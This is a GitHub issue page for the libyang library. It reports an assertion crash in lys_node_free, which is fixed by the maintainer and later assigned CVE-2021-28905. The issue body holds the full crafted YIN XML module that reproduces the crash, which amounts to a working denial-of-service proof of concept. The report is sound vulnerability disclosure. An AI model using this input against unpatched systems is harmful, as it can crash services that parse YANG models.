

New issue

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“lys\_node\_free” function's arg node->module can be NULL, which leads to assert. #1452

 Closed zounathan opened this issue on Mar 7, 2021 · 2 comments

zounathan commented on Mar 7, 2021 • edited by michalvasko

lys\_parse\_path(ctx, file, LYS\_IN\_YIN);

payload:

```
<?xml?>
<module xmlns="urn:ietf:params:xml:ns:yang:yin:1" xmlns:m="urn:libyang:tests:mandatory" name="mandatory">
  <yang-version value="1"/>
  <namespace uri="urn:libyang:tests:mandatory"/>
  <prefix value="m"/>
  <revision date="2016-04-11">
    <description> <text>Initial revision.</text>
  </description>
  </revision>
  <grouping name="group2">
    <leaf name="leaf6">
      <type name="empty"/> <mandatory value="true"/>
    </leaf>
  </grouping>
  <grouping name="group1">
    <uses name="group2"/>
  </grouping>
  <container name="top">
    <leaf name="obsolete">
      <type name="string"/>
      <status value="obsolete"/>
      <mandatory value="true"/>
    </leaf>
    <leaf name="obsolete|-inherited">
      <type name="string"/>
      <mandatory value="true"/>
    </leaf>
  </container>
</module>
```

 zounathan changed the title “~~lys\_node\_free” function's arg node->module can be NULL, which lead to assert.~~ “lys\_node\_free” function's arg node->module can be NULL, which leads to assert. on Mar 8, 2021

michalvasko commented on Mar 8, 2021

Member

Right, should work properly now.

 michalvasko closed this as completed in 5ce3080 on Mar 8, 2021

fredgan commented on May 25, 2021

Contributor

CVE-2021-28905 was assigned to this issue.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

